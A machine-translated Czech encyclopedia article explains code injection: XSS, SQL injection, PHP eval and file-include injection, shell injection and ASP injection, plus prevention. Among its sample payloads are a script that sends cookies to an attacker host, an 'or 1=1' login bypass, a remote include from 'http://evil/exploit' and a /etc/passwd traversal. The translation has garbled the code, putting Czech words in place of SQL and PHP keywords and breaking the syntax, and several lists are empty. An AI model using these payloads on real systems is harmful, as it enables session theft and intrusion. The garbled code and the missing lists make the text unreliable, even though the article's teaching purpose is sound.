Code_injection

Injekce kódu je využívání počítače chyby , které je v důsledku zpracování neplatných dat. Kód injekce mohou být použity útočník představit (nebo "napíchnout") kódu do počítačového programu pro změnu průběhu popravy. Výsledky injekce útoku kód může být katastrofální. Například, injekce je kód používaný některými počítačových červů množit.

Přehled a příklady

Webový server má návštěvní kniha skript, který přijímá malé zprávy od uživatelů, a obvykle dostává zpráv, jako jsou

Velmi pěkné stránky!

Nicméně nebezpečný člověk může vědět o zranitelnosti injekce kódu v knize návštěv, a zadá zprávu, jako je

Pěkné stránky, myslím, že to vezmu.> <script> Document.location = 'http://some_attacker/cookie.cgi?' + Document.cookie </ script>

Pokud jiný uživatel prohlíží stránku, pak injekce kód bude vykonán. Tento kód může dovolit útočníkovi vydávat se za jiného uživatele. Nicméně tato stejná softwarová chyba může být omylem spustil nenáročné uživatele, který způsobí, že se stránky zobrazí špatně HTML kód.

Že příspěvek byl úžasný,>:) 

Většina těchto problémů souvisí s chybným předpokladům o tom, co vstupních údajů je možné, nebo účinky speciálních dat.Klasické příklady nebezpečných předpokladů softwarový vývojář mohl udělat o vstup do programu patří:

Analogie

Určité typy injekce kódu jsou chyby v interpretaci, přičemž zvláštní význam pouhý vstup uživatele. Podobné interpretace chyby existují mimo svět výpočetní techniky, jako jsou rutinní komedie Kdo je na první? . V rutinní, je neschopnost odlišit vlastní jména z pravidelných slov. Podobně, v některých typech injekce kódu, je neschopnost odlišit od uživatelů pomocí systémových příkazů.

Použití kódu injekce

Úmyslné použití

Zneužití

Použití injekce kódu je typicky zobrazil jako zlovolnou akci, a to často je. Kód injekční techniky jsou populární v systému hackování nebo popraskání k získání informací, zvýšení úrovně oprávnění nebo neoprávněného přístupu k systému.

Kód injekce mohou být použity k škodolibě:

dobročinná

Někteří lidé mohou použít kód injekci s dobrými úmysly. Například, změna nebo ladění chování programu, nebo systém, pomocí injekce kódu může "trik" systém do chovat určitým způsobem, aniž by zlý úmysl.Kód injekce by mohla, například:

Někdo by mohl uchýlit se k tomuto druhu práce-asi proto, že jiné způsoby, jak na úpravu softwaru, aby fungovaly jako žádoucí:

Tato technika kódu injekce je považována za méně robustní pak vlastní modifikace kódu, a je často nazýváno účinnou improvizaci nebo hack .

Někteří vývojáři umožňují či dokonce podporují používání kódu injekce k "posílení" jejich software, obvykle proto, že toto řešení nabízí levnější způsob, jak realizovat nové nebo specializované funkce.Nežádoucí účinky a důsledky mohou nezvěstná, bohužel, být velmi nebezpečné.

Dokonce i dobře míněné-použití kódu injekce se nedoporučuje vůbec.

neúmyslným použitím

Někteří uživatelé mohou provádět unsuspectingly kód injekci, protože přínos to pro program nebyl považován ten, kdo byl původně vyvinut systém. Například:

Prevence injekce kódu

Chcete-li předejít problémům injekce kódu, využít zabezpečené vstupní a výstupní manipulaci , jako jsou:

Řešení výše uvedené se týkají především on-line injekci HTML nebo kód skriptu do server-side aplikace. Jiné přístupy je třeba brát ale když máte co do činění s injekcí uživatelského kódu na počítači uživatele, což vede k útokům zvýšení úrovně oprávnění. Některé přístupy, které jsou využívány k detekci a izolovat řízené i neřízené kód injekce jsou:

Příklady kódu injekce

SQL injection

SQL injection využívá syntaxe SQL příkazy, které lze aplikovat číst nebo upravovat databáze, nebo ohrozit význam původního dotazu.

Například, zvažovat webové stránky má dvě pole, která uživatelům umožňuje zadat uživatelské jméno a heslo. Kód za stránku bude generovat SQL dotazu pro kontrolu hesla proti seznam uživatelských jmen:

SELECT UserList . Přihlašovací jméno
Z UserList
KDE UserList . uživatelské jméno =  'Uživatelské jméno' 
A UserList . hesla =  'Heslo'

Pokud tento dotaz vrátí všechny řádky, pak umožněním přístupu. Nicméně, pokud se zlými úmysly uživatel zadá jméno a platný napíchne nějaký validní kód ( "heslo 'nebo '1' = '1" ), do pole Heslo, pak výsledný dotaz bude vypadat takto:

SELECT UserList . Přihlašovací jméno
Z UserList
KDE UserList . uživatelské jméno =  'Uživatelské jméno' 
A UserList . hesla =  'heslo'  nebo  '1 ' = '1 '

Ve výše uvedeném příkladu, "Heslo" Předpokládá se, že prázdné nebo nějaký neškodný řetězec. " '1 '= '1' "bude vždy věrný a mnoho řádků budou vráceny, a tím umožnit přístup.

Tato technika může být zdokonalena, aby více příkazů k běhu, nebo dokonce nahrát a spustit externí programy.

Dynamické hodnocení zranitelnosti

Steven M. Christey na Mitre Corporation navrhuje tento název pro třídu injekce zranitelnosti kódu.

Dynamické hodnocení zranitelnosti - eval injekce

Eval injekce zranitelnost nastane, když útočník může ovládat všechny nebo část vstupního řetězce, který je vložen do eval () volání funkce. 

$ Myvar  =  'somevalue' , 
$ x  =  $ _GET [ 'arg' ] ; 
eval ( '$ myvar ='  .  $ x  .  ';' ) ;

Argument " eval ", budou zpracovány jako PHP, takže další příkazy mohou být připojeny. Například, pokud "argumenty" je nastavena na " 10; systém ('/ bin / echo uh-oh') ", další kód je běh, který spustí program na serveru, v tomto případě" / bin / echo ".

Dynamické hodnocení zranitelnosti - dynamické proměnné hodnocení

Jak jsou definovány v "dynamické vyhodnocování zabezpečení v aplikacích PHP" : PHP podporuje "proměnné veličiny", což jsou proměnné nebo výrazy, které hodnotí se jmény dalších proměnných.Mohou být použity dynamicky měnit proměnnou, která je přístupná nebo soubor během provádění programu. Tento výkonný a šikovným prvkem je také nebezpečné.

Počet žádostí mají kód, jako je například následující:

$ Safevar  =  "0" ; 
$ param1  =  "" ; 
$ param2  =  "" ; 
$ param3  =  "" ; 
# moje "registr globals" pro param [1,2,3]
foreach  ( $ _GET  as  $ key  =>  $ value )  { 
$ $ key  =  $ hodnota ; 
}

Pokud se útočník poskytuje " safevar = špatný "v řetězci dotazu, pak $ safevar bude nastaven na hodnotu "špatné".

Dynamické hodnocení zranitelnosti - dynamické funkce hodnocení

Následující příklady PHP-bude vykonávat funkci uvedenou v žádosti.

$ Myfunc  =  $ _GET [ 'myfunc' ] ; 
$ myfunc ( ) ;

a:

$ Myfunc  =  $ _GET [ 'myfunc' ] ;
$ { "myfunc" } ( ) ;

Include file injekce

Vezměme si tento program PHP (která zahrnuje soubor určený na požádání):

<Php? 
$ color  =  'modrá' , 
pokud  ( isset (  $ _GET [ 'color' ]  )  ) 
$ color  =  $ _GET [ 'color' ] ; 
vyžadují (  $ barvu  .  'php.'  ) ; 
?>
<Formulář  metoda = "get" > 
<vyberte  jméno = "COLOR" > 
<možnost  hodnota = "red" > červená </ option > 
<možnost  hodnota = "blue" > blue </ option >
 </ select > 
<input  typu = "submit" >
 </ form >

Vývojáři mysleli, že toto by zajistilo, že pouze blue.php a red.php mohl být načten. Ale jak někdo může snadno vložit libovolné hodnoty v COLOR , je možné vložit kód ze souborů:

bullet

/ Vulnerable.php =? COLOR http://evil/exploit? - napíchne vzdáleně hostované soubor obsahující zneužít.

bullet

vulnerable.php? / COLOR = C: \ \ ftp \ \ upload \ \ zneužít - Provede kód z již nahraných soubor s názvem exploit.php

bullet

/ Vulnerable.php =? COLOR .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd% 00 - umožňuje útočníkovi číst obsah passwd souboru na systému UNIX procházení adresářů .

bullet

vulnerable.php? / COLOR = C: \ \ notes.txt% 00 - například pomocí NULL meta znak odstranit php. příponu, umožňující přístup k souborům jiným než php.. (PHP nastavení "magic_quotes_gpc = On", která je ve výchozím nastavení by se zastavit tento útok)

Shell injekce

Shell Injekce je pojmenovaný po shelly Unixu , ale platí pro většinu systémů, které dovolí softwaru programově spustit příkazový řádek . Typické Shell Vstřikovací funkcí systému () , StartProcess () , java.lang.Runtime.exec () , System.Diagnostics.Process.Start () a podobné API.

Podívejme se na následující krátké PHP program, který běží externí program s názvem funnytext nahradit slovo uživatel poslal s jiným slovem.

<? Php 
passthru ( "/ home / user / phpguru / funnytext"  .  $ _GET [ 'USER_INPUT' ] ) ; 
?>

Tento program může být aplikován v několika způsoby:

PHP nabízí escapeshellarg () a EscapeShellCmd () provádět kódování před voláním metody. Nicméně, není vhodné věřit těchto metod musí být bezpečné - též ověří / dezinfikuje vstup.

HTML-skript injekce (cross-site scripting)

HTML / Skript injekce je oblíbené téma, běžně nazývané "Cross-Site Scripting", nebo "XSS". XSS odkazuje na injekci chybu, kdy je vstup uživatele na web skript nebo něco podél těchto linek umístěné do výstupního HTML, bez kontroly pro HTML kódu nebo skriptování.

Dva základní typy jsou následující:

Aktivní (Typ 1)

Tento typ XSS chybu, je méně nebezpečné, jako uživatelský vstup je umístěn v dynamicky generované stránky. Žádné změny nejsou provedeny na serveru.

Pasivní (Typ 2)

Tento typ je mnohem nebezpečnější, protože vstup je napsáno na statickou stránku, a jako takový, je trvalé.

HTML injekce v IE7 prostřednictvím infikovaných DLL

Podle článku [ 6 ], ve Velké Británii tech stránkách The Register , HTML injekce může dojít také v případě, že uživatel má infikovaných DLL na jejich systém. Článek cituje Roger Thompson, kteří tvrdí, že "oběti 'prohlížečů jsou ve skutečnosti, návštěva PayPal webové stránky nebo jiné určené URL, ale soubor DLL, který připojí sám sebe k IE řídí číst a měnit html během přepravy. Článek zmiňuje phishingový útok pomocí tohoto útoku, který dokáže obejít IE7 a Symantec se snaží odhalit podezřelé weby.

ASP injekce

"ASP Injection", "PHP Injection" apod. jsou razil termíny, které se vztahují na různé typy útoků injekce kódu, který útočníkovi umožnit dodávky kód do skriptování na straně serveru motoru. V případě "ASP injekce", skriptování na straně serveru je motor Microsoft Active Server Pages , add-on pro Microsoft IIS.

V praxi, ASP injekce je buď využití dynamické vyhodnocování zabezpečení , Včetně Soubor Vstřikovací nebo podobné injekce zranitelnosti kódu.

Příklad:

<% 
Pokud  není IsEmpty ( Žádost (  "username"  )  )  Pak 
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim FSO, f
Set FSO =  CreateObject ( "Scripting.FileSystemObject" ) 
Set f = FSO. OpenTextFile ( Server . MapPath (  "userlog.txt"  ) , ForAppending, True )
f. napiš  žádost ( "username" )  & vbCrLf f. blízko 
Set f =  nic 
Set FSO =  Nic 
%>
<h1> Seznam přihlášené uživatele: </ h1> < pre>
<% 
Server . spustit (  "userlog.txt"  ) 
%>
</ pre>
<% 
Else 
%>
<form> <input name="username" /> <input type = "submit" name = "submit" / > </ form>
<% 
Konec  Pokud 
%>

V tomto příkladu je uživatel schopen vložit příkaz namísto uživatelského jména.